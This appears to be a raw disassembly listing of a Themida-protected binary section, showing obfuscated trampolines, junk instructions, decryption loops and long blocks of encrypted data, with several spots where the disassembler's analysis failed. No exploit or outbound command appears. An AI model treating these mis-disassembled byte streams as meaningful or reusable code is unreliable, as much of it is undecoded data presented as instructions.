		pop	esi
		leave
		jge	short loc_5EDBE0
		hlt
; ---------------------------------------------------------------------------
		dd 5F12DCABh, 254BCE60h

; =============== S U B	R O U T	I N E =======================================



sub_5EDC08	proc near		; CODE XREF: Themida_:005EDBF2p
		call	near ptr loc_5EDC17+3
		fnstcw	word ptr [esi+61h]
		in	eax, 71h	; CMOS Memory
		mov	eax, 38B64462h


loc_5EDC17:				; CODE XREF: sub_5EDC08p
		mov	edi, 0BA660110h
sub_5EDC08	endp ; sp-analysis failed

		push	ebx
		pop	ecx
		pop	edx
		pop	edx
		push	esi
		cld
		pop	ecx
		lea	esi, [ebp+61C3FE4h]
		push	0
		push	ebx
		call	sub_5EDC34
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EDC34	proc near		; CODE XREF: Themida_:005EDC2Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5EDC34	endp

; ---------------------------------------------------------------------------
		jmp	fword ptr [edi]
; ---------------------------------------------------------------------------
		dw 0D6B9h
		dd 1CFC8957h, 6C7293Bh,	6D676552h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 8DC35545h, 0C7D98B4Fh, 6E6F0446h
		dd 95896C63h, 6152B3Dh,	610846C7h, 6A007373h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 82B3C352h, 6E9A0B1h,	0CE000000h, 5D8F80FAh, 60006A6Bh
		dd 0D6815E52h, 2F6E400h, 0E4858D61h, 2B061C3Fh,	1503719Dh
		dd 9BF5006h, 8949B877h,	9E92404h, 8A000000h, 0D017DA9h
		dd 153E4D7Eh, 17F595FFh, 840F0615h, 19h, 14E9h,	9266E100h
		dd 0F93BCC40h, 1FB685E3h, 838CA18Ch, 1BA6E3C4h,	0FC00B6Eh
		dd 2984h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 8B66CB02h, 36BE9D9h, 0BB660000h
		dd 4C684404h, 56F968C5h, 2404815Fh, 6973BE0h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 7DC35242h, 0C94D4B96h
		dd 4D2EDF82h, 2E999589h, 10E80615h, 59000000h, 12A8F78Dh
		dd 0B71FA713h, 294377E5h, 0E998D8EBh, 0Ch, 45F6E2ADh, 0C502B502h
		dd 4A58A98h, 2195FF5Fh,	6A06152Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 465BC356h
		dd 0FEF7B3E8h, 9D8B8CC5h, 61503C1h, 3FE4B58Dh, 0B70F061Ch
		dd 0BA5060D2h, 4453C85Eh, 6C7615Ah, 36343831h, 446C7F9h
		dd 31342D37h, 0E98D3360h, 0E906152Eh, 14h, 8FD37432h, 0D998FA76h
		dd 0EDE1140Eh, 4556E474h, 0D88EB7A2h, 846C761h,	0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5EDE17
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EDE17	proc near		; CODE XREF: Themida_:005EDE0Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh


loc_5EDE24:				; CODE XREF: Themida_:005EDE29j
		inc	ebx
		push	ebx
		retn
sub_5EDE17	endp

; ---------------------------------------------------------------------------
		mov	al, 21h
		jle	short loc_5EDE24
		enter	6240h, 3Ch
		push	0
		push	0
		push	ebx
		call	sub_5EDE3C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EDE3C	proc near		; CODE XREF: Themida_:005EDE34p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5EDE3C	endp

; ---------------------------------------------------------------------------
		lea	ebp, [esi-15h]
		xchg	edx, [ebx-4Eh]
		push	ds
		lea	eax, [ebp+61C3FE4h]
		mov	[ebp+6152585h],	esi
		push	eax
		mov	ch, 79h
		mov	[esp], eax
		xor	[ebp+6151345h],	esi
		cld
		call	dword ptr [ebp+61517F5h]
		push	0
		push	eax
		call	sub_5EDE7D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EDE7D	proc near		; CODE XREF: Themida_:005EDE75p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5EDE7D	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebx
		inc	esp
		ror	dword ptr [eax+69h], 6Ah
		sub	ch, bl
		das
		ja	short near ptr loc_5EDEA5+2
		mov	bh, 0FFh
		push	edx
		jno	loc_5EDEA4
		sbb	dl, 0AEh


loc_5EDEA4:				; CODE XREF: Themida_:005EDE9Bj
		pop	ecx


loc_5EDEA5:				; CODE XREF: Themida_:005EDE96j
		js	loc_5EDEB1
		mov	ebx, [ebp+6153095h]


loc_5EDEB1:				; CODE XREF: Themida_:loc_5EDEA5j
		or	eax, eax
		jz	loc_5EDECB
		sub	[ebp+6151889h],	edx
		cld
		jmp	loc_5EE09D
; ---------------------------------------------------------------------------
		mov	[ebp+6150559h],	ebx


loc_5EDECB:				; CODE XREF: Themida_:005EDEB3j
		call	sub_5EDED4
		sub	al, 1
; ---------------------------------------------------------------------------
		dw 0

; =============== S U B	R O U T	I N E =======================================



sub_5EDED4	proc near		; CODE XREF: Themida_:loc_5EDECBp
		mov	edx, 47BF5EFh
		push	eax
		pusha
		jno	loc_5EDEE3
		push	edi
		pop	edx


loc_5EDEE3:				; CODE XREF: sub_5EDED4+7j
		jmp	loc_5EDEF1
; ---------------------------------------------------------------------------
		dd 0BA500176h, 9C4440DAh
		db 12h
; ---------------------------------------------------------------------------


loc_5EDEF1:				; CODE XREF: sub_5EDED4:loc_5EDEE3j
		popa
		mov	eax, [esp+4]
		mov	dh, 71h
		mov	eax, [eax]
		mov	cx, dx
		mov	[esp+4], eax
		mov	ebx, 0CCB3808h
		pop	eax
		push	0
		push	esi
		call	sub_5EDF12
		and	[esi-3Dh], bl
sub_5EDED4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5EDF12	proc near		; CODE XREF: sub_5EDED4+36p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5EDF12	endp

; ---------------------------------------------------------------------------
		dw 0C765h
; ---------------------------------------------------------------------------
		inc	edx
		xchg	eax, esi
		retn	0F1DDh
; ---------------------------------------------------------------------------
		db 72h,	0FDh, 0FFh
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		and	[esi], ebp
		adc	eax, 51006A06h
		call	sub_5EDF3C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EDF3C	proc near		; CODE XREF: Themida_:005EDF34p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5EDF3C	endp

; ---------------------------------------------------------------------------
		dd 840F6FFAh, 6, 1B63E781h, 0B58D3710h,	61C3FE4h, 694606C7h
		dd 0FE9656Ch, 33000000h, 0D4881E7Bh, 0DD96673Ch, 62AE2D7Dh
		dd 46C7FC2Ah, 6E6F6D04h, 0B5B58963h, 8B061508h,	1508318Dh
		dd 846C706h, 7373616Ch,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 0D8C35545h, 1A1CCDADh, 95332B4Ch, 6151509h
		dd 0C7F8B70Fh, 0C46h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 319BC1C3h, 4985898Eh
		dd 60061522h, 0E9F28B66h, 14h, 49997470h, 3CF4B485h, 72066A87h
		dd 956ECF2Ch, 5469BAC9h, 8B006A61h, 153041BDh, 0E4858D06h
		dd 8B061C3Fh, 151D25BDh, 0B9509006h, 67A0B88Fh,	8B90505Bh
		dd 1530458Dh, 0E58D8906h, 0FF06151Ch, 1517F595h, 12E806h
		dd 7B4F0000h, 0E66B653Ah, 3F3210BAh, 4D512C1Ch,	0D0E18167h
		dd 30358D03h, 0B5B0615h, 33840FC0h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 781FC353h, 83FDD9B9h, 18D89C7h, 8906152Bh, 151675B5h
		dd 0BE906h, 0B9E90000h,	8BFFFFFAh, 1521719Dh
; ---------------------------------------------------------------------------
		push	es


loc_5EE09D:				; CODE XREF: Themida_:005EDEC0j
		lea	esi, [ebp+615720Dh]
		or	[ebp+61507C1h],	ebx
		mov	eax, 0
		push	0
		push	esi
		call	sub_5EE0B9
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EE0B9	proc near		; CODE XREF: Themida_:005EE0B1p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5EE0B9	endp

; ---------------------------------------------------------------------------
		db 97h,	0B8h, 58h
		dd 4A37556Ch, 958B8123h, 6152295h, 45FE72BFh, 0E9E6FF72h
		dd 5, 86124D8Ah
; ---------------------------------------------------------------------------
		cwde


loc_5EE0E9:				; CODE XREF: Themida_:005EDB27j
		mov	eax, ecx
		dec	dl
		push	ebx
		inc	eax
		push	gs
		ror	al, 1
		dec	ebx
		mov	bl, [esi-5457F0C0h]
		aad	0EAh
		jnz	short loc_5EE174
		inc	ecx
		push	gs
		fmulp	st(1), st
		dec	ebx
		mov	bh, [edx-74A851A3h]
		leave
		dec	ebx
		mov	ah, [esi+46h]
		push	gs
		stosd
		aad	0EAh
		jnz	short loc_5EE13F
		inc	esi
		push	gs
		stc
		into
		dec	ebx
		mov	ch, [ebx+7BA80F46h]
		iret
; ---------------------------------------------------------------------------
		db 4Bh
		dd 0F472D8Ah, 0EAD5ABA8h, 0D42F2575h, 1336134Fh, 171CC003h
		dd 90A752B4h
		db 0DFh, 0Dh, 0BEh
; ---------------------------------------------------------------------------


loc_5EE13F:				; CODE XREF: Themida_:005EE114j
		push	edi
		and	ecx, edx
		call	near ptr 2FA2779Ah
		aam	4
		sbb	al, 36h
		adc	eax, [ebx]
		shl	byte ptr [edi+edx-4Ch],	52h
		cmpsd
		nop
; ---------------------------------------------------------------------------
		dd 57BE0C8Eh, 53E4D121h, 0D42F4396h, 13361DF3h,	1770C003h
		dd 90A752B4h, 57BE0C3Ah, 53F0D121h
; ---------------------------------------------------------------------------


loc_5EE174:				; CODE XREF: Themida_:005EE0FCj
		xchg	eax, esi
		inc	ebx
		das
		aam	5Ch
		sbb	eax, 0C0031336h
		jl	short near ptr loc_5EE195+2
		mov	ah, 52h
		cmpsd
		nop
		mov	bh, 0Fh
		mov	esi, 0CCD12157h
		push	ebx
		xchg	eax, esi
		inc	ebx
		das
		aam	0D6h
		push	ds
		adc	eax, ss:[ebx]


loc_5EE195:				; CODE XREF: Themida_:005EE17Ej
		ror	byte ptr [eax+17h], 0B4h
		push	edx
		cmpsd
		nop
		xor	eax, 2157BE0Fh
		rol	esp, 1
		push	ebx
		xchg	eax, esi
		inc	ebx
		das
		aam	0A8h
		pop	ds
		adc	eax, ss:[ebx]
		rcl	byte ptr [eax+17h], 0B4h
		push	edx
		cmpsd
		nop
		mov	bl, 0Eh
		mov	esi, 0DCD12157h
		push	ebx
		xchg	eax, esi
		inc	ebx
		retn
; ---------------------------------------------------------------------------
		db 0B8h
		dd 152A5012h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0B4C0D5F2h
		dd 96A459CDh, 152AA8EDh, 2429458Ah, 96E367A0h, 0D5ADBAB4h
		dd 152A54A1h, 5564C6CBh, 0EAD5BA41h, 0AE63CE75h, 8FD3Ah
		dd 5342848Ch, 0EA2211ABh, 245D55FFh, 9C3AABA4h,	0DAC3B9CFh
		dd 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh, 0D2262923h
		dd 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h, 0DB2FEE27h
		dd 133663E7h, 1129475h,	5AA0D902h, 0AEA459BDh, 51A1EC79h
		dd 0DC0941AEh, 91D1B22h, 3773BA8Ch, 732ADF10h, 1E28C821h
		dd 0EA2C489Fh, 152BFD5Bh, 9881508Ch, 4D950A00h,	0A5FBABAEh
		dd 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 74C0D5F2h, 0DAA459C2h, 68A15CDDh
		dd 0ADE78286h, 152A54A8h, 0DC30BACCh, 9E2C418Dh, 0FC69CE52h
		dd 0A5B99783h, 0FA31EFE2h, 5AA0D9F9h, 0AEA459BDh, 949A0D79h
		dd 551A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h
		dd 402A5C6Ah, 9521A901h, 15C23454h, 0BA2458Ah, 5D92BE29h
		dd 24294396h, 1957DFA0h, 515E004Dh, 532A54A8h, 742FD775h
		dd 0CDA152BDh, 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h, 5AA0D9F9h
		dd 0AEA459BDh, 949A0D79h, 651A2320h, 8481328Ch,	5DDF6E21h
		dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h
		dd 5DDFCE82h, 15D6116Fh, 0FDA2458Ah, 1DC9953Bh,	919197B9h
		dd 38F2DE04h, 51A2454Ah, 1AD5A828h, 51A25E0Eh, 1523EDA8h
		dd 0A055458Ah, 9025862Dh, 51A24586h, 7332A328h,	37AA8E4Bh
		dd 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh, 9E7F54A0h
		dd 0AD66C666h, 1D5FDFC8h, 96AE3801h, 152AA8EDh,	0C20E458Ah
		dd 2622B769h, 0FD627658h, 0D5078C22h, 0D1A2458Ah, 9125AB54h
		dd 51A24593h, 152A5D11h, 0D453B28Ah, 1FAF5B7Ah,	0E0A2458Ah
		dd 93E25610h, 9191EF4Bh, 19577F03h, 305E3803h, 0DCD61123h
		dd 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh
		dd 0B92A54A8h, 0B2229D00h, 85E1D4A7h, 0DC088600h, 91D1B22h
		dd 0E173BA8Ch, 9FA7FEF8h, 57BE72C5h, 0D6A08557h, 5DDF6E20h
		dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h
		dd 5DDFCE82h, 15D6116Fh, 0E9A2458Ah, 152A54AFh,	730BD775h
		dd 452652BDh, 1E28C820h, 0EA2C489Fh, 0FB2BF55Bh, 3186949Bh
		dd 59622E85h, 0A58050ACh, 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh
		dd 15229661h, 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh,	0E96F93A4h
		dd 51A2458Ah, 87D5FE04h, 57B76007h, 17868C23h, 0DB2FEF49h
		dd 133663E7h, 0E9C49475h, 0BE4CBD28h, 7A088600h, 68A358D5h
		dd 14292476h, 1DE89D54h, 0BD29108Ah, 75D6902Bh,	0DAAA3001h
		dd 50ED58D5h, 51A24576h, 0EA80F8A8h, 4487C818h,	0B9E2DFAEh
		dd 0DC088558h, 91D1B32h, 3771BA8Ch, 73E39410h, 0FB63CF21h
		dd 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h, 0E9EED744h
		dd 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0BF8654A8h, 742FD775h
		dd 0DDA152BDh, 0FB637726h, 2265CE25h, 825D4396h, 0E4AAECCEh
		dd 9028EEECh, 19577F02h, 305E3803h, 0DCD61123h,	4A24D48h
		dd 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh,	732A54A8h
		dd 376B7732h, 5AB0D903h, 0AEA459BDh, 9592327Bh,	0FD09234Bh
		dd 6801FE04h, 0ADDFCC86h, 0E96FDFC9h, 51AA8743h, 96C6DFFDh
		dd 0DAC2B94Eh, 68A15CDDh, 0ADE78286h, 152A54A8h, 0B824FDECh
		dd 8FA7FFCEh, 57BE72C5h, 0A09A8757h, 0FB0E0320h, 2265CE25h
		dd 825D4396h, 0D8ACECCEh, 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh
		dd 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 9CC0D5F2h
		dd 96A459C1h, 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h
		dd 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch
		dd 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah
		dd 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h, 5394CE25h
		dd 0DCF14396h, 96DC132h, 0D871BA8Ch, 42C3A8EDh,	0AEA2458Ah
		dd 60D558DDh, 9F38C882h, 462C48EEh, 1637DF07h, 0C6D552B4h
		dd 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh, 57BE0350h
		dd 80B0D9FBh, 0AEA459CDh, 0E96FDD7Bh, 51A25863h, 195FABA8h
		dd 0DCAA3075h, 96CB232h, 0CB2F168Ch, 1336133Dh,	142B9675h
		dd 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 8D000030h
		dd 1534499Dh, 23E4B806h, 85890000h, 615090Dh, 0E8h, 0D055800h
		dd 89000000h, 23E4E903h
		db 2 dup(0)
word_5EE6A6	dw 0			; DATA XREF: Themida_:0057CE78o
		dd 157h	dup(0)
		db 2 dup(0)
word_5EEC06	dw 0			; DATA XREF: Themida_:00579D2Co
		dd 1Dh dup(0)
dword_5EEC7C	dd 781h	dup(0)			db 2 dup(0)
word_5F0A82	dw 0			; DATA XREF: Themida_:0057A4C0o
		dd 0
		dd 9E80000h, 5B000000h,	0B79F10DDh, 5F424665h, 820F6050h
		dd 0
; ---------------------------------------------------------------------------
		jmp	loc_5F0AAE
; ---------------------------------------------------------------------------
		db 1, 0F6h, 0DAh
		dd 2DAA3454h
		db 0E5h, 35h
; ---------------------------------------------------------------------------


loc_5F0AAE:				; CODE XREF: Themida_:005F0AA0j
		popa
		pop	ecx
		pop	edi
		add	dx, 0D00Ah
		add	edi, 0E6DDh
		mov	ecx, 116BB380h
		push	0
		mov	cx, si
		pop	eax
		mov	edx, 3E1DA0A8h


loc_5F0ACF:				; CODE XREF: Themida_:005F0B61j
		mov	esi, [edi+eax]
		mov	dx, cx
		xor	esi, 7D39B8F5h
		push	eax
		add	bx, 0FDA6h
		pop	ebx
		xor	esi, 462B5CA4h
		adc	cx, 5AFBh
		sub	esi, 23D6FB5Eh
		mov	dh, 0FEh
		push	esi
		pusha
		mov	bl, dh
		mov	di, si
		popa
		pop	dword ptr [edi+eax]
		call	near ptr loc_5F0B15+3
		rep sbb	bl, cl
		cwde
		outsb
		or	[ebp-69h], dh
		inc	edi
		jbe	short near ptr loc_5F0B11+1
		dec	eax


loc_5F0B11:				; CODE XREF: Themida_:005F0B0Ej
		adc	[eax], dl
		mov	[esi], al


loc_5F0B15:				; CODE XREF: Themida_:005F0B00p
		mov	al, ds:8B6638D6h
		xlat
		pop	edx
		jmp	loc_5F0B29
; ---------------------------------------------------------------------------
		push	ebp
		aam	0CBh
		sub	[edx+eax*8-5Dh], dl
		das


loc_5F0B29:				; CODE XREF: Themida_:005F0B1Cj
		sub	eax, 4
		add	ebx, 32AC2C26h
		cmp	eax, 0FFFF1A00h
		jnz	loc_5F0B51
		mov	dx, ax
		jmp	loc_5F0B70
; ---------------------------------------------------------------------------
		popa
		sbb	eax, 5EDC9724h
		retn	7ED5h
; ---------------------------------------------------------------------------
		inc	ebp
		pop	edx


loc_5F0B51:				; CODE XREF: Themida_:005F0B38j
		pusha
		mov	di, cx
		jle	loc_5F0B60
		mov	ebx, 27F8E7C3h


loc_5F0B60:				; CODE XREF: Themida_:005F0B55j
		popa
		jmp	loc_5F0ACF
; ---------------------------------------------------------------------------
		dw 96A9h
		dd 5886D2DFh, 0A1DF3B7Ah
; ---------------------------------------------------------------------------


loc_5F0B70:				; CODE XREF: Themida_:005F0B41j
		call	sub_5F0B88
		dec	ebx
		add	eax, 0AA202C3Dh
		add	[edx+eax], edi
		inc	esi
		popa
		popf
		cmc
		fld	tbyte ptr ds:0C6E4244Ch

; =============== S U B	R O U T	I N E =======================================



sub_5F0B88	proc near		; CODE XREF: Themida_:loc_5F0B70p
		mov	bl, dl
		pop	ecx
		push	edi
		push	ebx
		jg	$+6
		pop	esi
		pop	esi
		add	ecx, 661Ch
		push	1955h
		adc	dh, 6Bh
		pop	edi
		push	eax
		pusha
		jge	$+6
		push	esi
		pop	ebx
		popa
		pop	esi


loc_5F0BB0:				; CODE XREF: sub_5F0C13+1Ej
		push	dword ptr [ecx]
		jp	loc_5F0BBC
		mov	dx, 3531h


loc_5F0BBC:				; CODE XREF: sub_5F0B88+2Aj
		pop	eax
		mov	bx, 0D1FBh
		xor	eax, 7F881FA1h
		call	near ptr loc_5F0BD6+2
		db	26h
		adc	esi, ebx
		xor	ebx, edi
		test	eax, 0F820EAB8h


loc_5F0BD6:				; CODE XREF: sub_5F0B88+3Fp
		cmp	byte ptr [eax-7Fh], 0F6h
sub_5F0B88	endp ; sp-analysis failed

		push	esi
		push	0FFFFFFCFh
		das
		pop	ebx
		add	eax, 22CD7905h
		adc	esi, 615BA802h
		sub	eax, 6F3383ABh
		pusha
		mov	ebx, eax
		popa
		mov	[ecx], eax
		jz	loc_5F0C19
		call	near ptr sub_5F0C13
		inc	ebp
		lock cld
		mov	ch, 0DCh
		hlt
; ---------------------------------------------------------------------------
		dd 4914D6E4h, 11C6054Ah
		db 7Eh,	69h, 30h

; =============== S U B	R O U T	I N E =======================================



sub_5F0C13	proc far		; CODE XREF: Themida_:005F0BFDp
		mov	ebx, 29F563BFh
		pop	edx


loc_5F0C19:				; CODE XREF: Themida_:005F0BF7j
		sub	ecx, 3AF74C09h
		mov	si, 2384h
		add	ecx, 3AF74C05h
		or	si, 5DD4h
		sub	edi, 1
		jnz	loc_5F0BB0
		jmp	loc_5F0C41
; ---------------------------------------------------------------------------
		dd 8D4B5672h
		db 0E1h
; ---------------------------------------------------------------------------


loc_5F0C41:				; CODE XREF: sub_5F0C13+24j
		jmp	loc_5F0C55
; ---------------------------------------------------------------------------
		dec	ebx
		pop	eax
		retf	47h
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5F0C55:				; CODE XREF: sub_5F0C13:loc_5F0C41j
		jmp	loc_5F1A8D
; ---------------------------------------------------------------------------
		push	61C74CFh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61C75E1h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61C7690h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61C7723h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61C7AB7h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61C7E15h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61C7EEDh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		dd 0CCA91995h, 9362D257h, 0E4B1219Ch, 9C79E94Fh, 0E2B32387h
		dd 67CBC6C5h, 0AE111EF7h, 6CC8573Eh, 0A90A19FCh, 636B5C39h
		dd 9A80B9E0h, 79C34416h, 6056C624h, 0BD81F153h,	3392F374h
		dd 1086F2EEh, 0F793BC8Dh, 3A6A0E9Ch, 1A69A124h,	23F4169Ch
		dd 3697161Bh, 93DA4A8Fh, 4F603116h, 9A947647h, 89F97FB4h
		dd 0EBDAB08Dh, 1693DAA2h, 0F9F9E44Bh, 0DA3960E3h, 0FBC41693h
		dd 0B4464567h, 28C2EDA2h, 0BD2D006Dh, 43889Dh, 98C60000h
		dd 93F5E42Dh, 0D4B68716h, 0E30BAB60h, 83ADDE0Eh, 29351AACh
		dd 9BE3BE9Ah, 73D2BF16h, 8BEA2C03h, 1693D042h, 9959842Bh
		dd 6BAB1B98h, 0D0F9CC92h, 9B1693D0h, 48B5E08Ah,	0D09DBD3Ch
		dd 19h,	0DF624FECh, 0ADF44F6Fh,	501086F2h, 862F8B7Fh, 2D000009h
		dd 5436A604h, 57C724E0h, 81F1525Fh, 0C2F2C6F4h,	0F6CEDBFCh
		dd 30ABB5DDh, 0D9DA045Ah, 0A500EA5Ah, 169B236Dh, 0D6FFDFF0h
		dd 360DB6E7h, 1693C513h, 8DEEC9DAh, 0B87614A9h,	0EB5BDDD6h
		dd 2479A4FFh, 0D6F1693h, 2888999Dh, 0E777EB8h, 2BE6449Fh
		dd 84696E84h, 183B27E4h, 50DDD8B2h, 0F29DBDC3h,	5F3059ECh
		dd 0CA2E1693h, 35D5E65Ah, 4E05h, 0BAB2100h, 3D903DBh, 0D96B30D2h
		dd 5DC886DDh, 10865934h, 682B594Eh, 8E324893h, 68AE1EA1h
		dd 0F3D2B897h, 169B8147h, 2442DF6h, 0B6E83FE7h,	82AF9D99h
		dd 0CBFA9000h, 1693E782h, 3019C46Bh, 9DBD2ECDh,	0FE53h
		dd 0CD288900h, 2485AD5Dh, 525F57C7h, 9D9680F0h,	0C131921Eh
		dd 38BBA8EEh, 0F2256CD7h, 0B73B1086h, 0C27E4F47h, 7A37DEF1h
		dd 1086F773h, 0FF960665h, 5B63D330h, 65D53081h,	86F799C0h
		dd 0E050D710h, 5667D9B6h, 50F07AB4h, 1738A804h,	1888EA47h
		dd 98DA093Fh, 9F4BBDDAh, 269DBF9Dh, 1086B0E3h, 0B0749D28h
		dd 26F71086h, 0E2C1A97Ah, 169C473Eh, 65D5545Dh,	0AAE5C31h
		dd 0AA4E5C39h, 397A647Ah, 60D02DB9h, 94765936h,	8BCA0629h
		dd 0F6EC310h, 0FACBEB9Fh, 61E4FAE4h, 1CABF338h,	0E656D6C3h
		dd 1AF0DFB0h, 0CC319919h, 0CDB46FBAh, 2566AB1Ah, 34051CABh
		dd 0D261341Bh, 0F37D0070h, 0ECB1C2C2h, 0ADC6ACAh, 93F30000h
		dd 5CDD5223h, 9B1A09ECh, 53D54A2Bh, 9D1D12E3h, 5853482Dh
		dd 950565h, 0B95CCC33h,	0FB9A0A6Ah, 0BE57C724h,	577A4915h
		dd 16169A86h, 0C624E755h, 1370BF56h, 0AB66D2A3h, 4003DB0Bh
		dd 169BF5F0h, 34A4062Bh, 65516256h, 93F1BFDEh, 0E252B116h
		dd 0CC3CBFB4h, 11BC6DCAh, 0EC178D2h, 0BD1CAE3Bh, 0EA369Dh
		dd 63740000h, 0FD1D599Eh, 0B08670CDh, 0D839627h, 60A91C22h
		dd 0B169368h, 24EC503Ah, 525F57C7h, 2F9680F0h, 1086F7CEh
		dd 0EBF363E0h, 0BFF767C6h, 0E2511CCEh, 0C4EDF161h, 1816F464h
		dd 21A2EE92h, 0A78885B1h, 642C97h, 3809169Ch, 40B00D26h
		dd 67198156h, 100095A4h, 7A404B3Fh, 0E5419EC6h,	0B08935E0h
		dd 9C96BF9Fh, 58814497h, 2316936Fh, 0CFF84512h,	3E055733h
		dd 108B6192h, 2970D309h, 0D41CAB6Dh, 6D2E73D2h,	0FCCD1CABh
		dd 9A8737D3h, 0B5258B17h, 8CA39C9Ah, 910181B2h,	5BCB2F04h
		dd 0C2FB36C2h, 2B87ADB1h, 9CAh,	5C39A905h, 23F262C7h, 0B441B10Ch
		dd 0EC89F97Fh, 0B243B337h, 77FBB6F5h, 3EC16E07h, 7CF827CEh
		dd 39BA690Ch, 0B39B2CC9h, 9A87C910h, 933B416h, 0BF56C624h
		dd 0A616969Bh, 3EEB9F70h, 84A84DBDh, 72E2624Fh,	729F4B44h
		dd 7C75A111h, 0ADAF8FFFh, 86F2F316h, 0C1A97A10h, 9D180BB2h
		dd 6FAB3EB8h, 3F2BC294h, 0D959A559h, 7F502D69h,	157CE45Fh
		dd 3001169Bh, 0DB15576Eh, 0EA8EBC59h, 8D21A4BAh, 90B94732h
		dd 4DF177BFh, 0A81B411Dh, 0A576A261h, 0D4F3B0Ch, 6F34CB36h
		dd 0BD8192A3h, 0EE87F774h, 0CB52C241h, 1E7D839h, 1B2C88AEh
		dd 0B4000009h, 0F42BCA3Ah, 0C3700575h, 0EC43D242h, 0AA791C8Ch
		dd 5E3DD848h, 0A010722Dh, 69D95ED5h, 0A515978Ch, 70E063D0h
		dd 992C32A5h, 169A8470h, 24C27AFBh, 0D95F57C7h,	0C8E9F525h
		dd 82BA026Ah, 0FB0DA403h, 0A52036D4h, 169C0821h, 565B6334h
		dd 0A08F66D6h, 0ADAAB424h, 4123DC80h, 0C0AE0ABh, 93C060A9h
		dd 30CD1016h, 0D6AA1692h, 0B12D98A6h, 0B4108EB0h, 77FADBE3h
		dd 43863D4Dh, 2A1CACA3h, 93C63E19h, 7081AB5Fh, 0B2DAA313h
		dd 0A9B1C67Dh, 888278Bh, 0E7470000h, 30919E77h,	7FFE35C0h
		dd 37B9660Fh, 81012EC7h, 64278411h, 0BC59C929h,	5900067h
		dd 0B75ECE2Eh, 0FA9B0B68h, 1B3E05C9h, 0E2169A85h, 0BAB1B21h
		dd 4C4003DBh, 0AF169BF2h, 0CB930382h, 93F2D1F8h, 0DF8B9C16h
		dd 0E3D0EEBFh, 0D8C6F060h, 93F2246Dh, 0D9F6C716h, 8BEE0331h
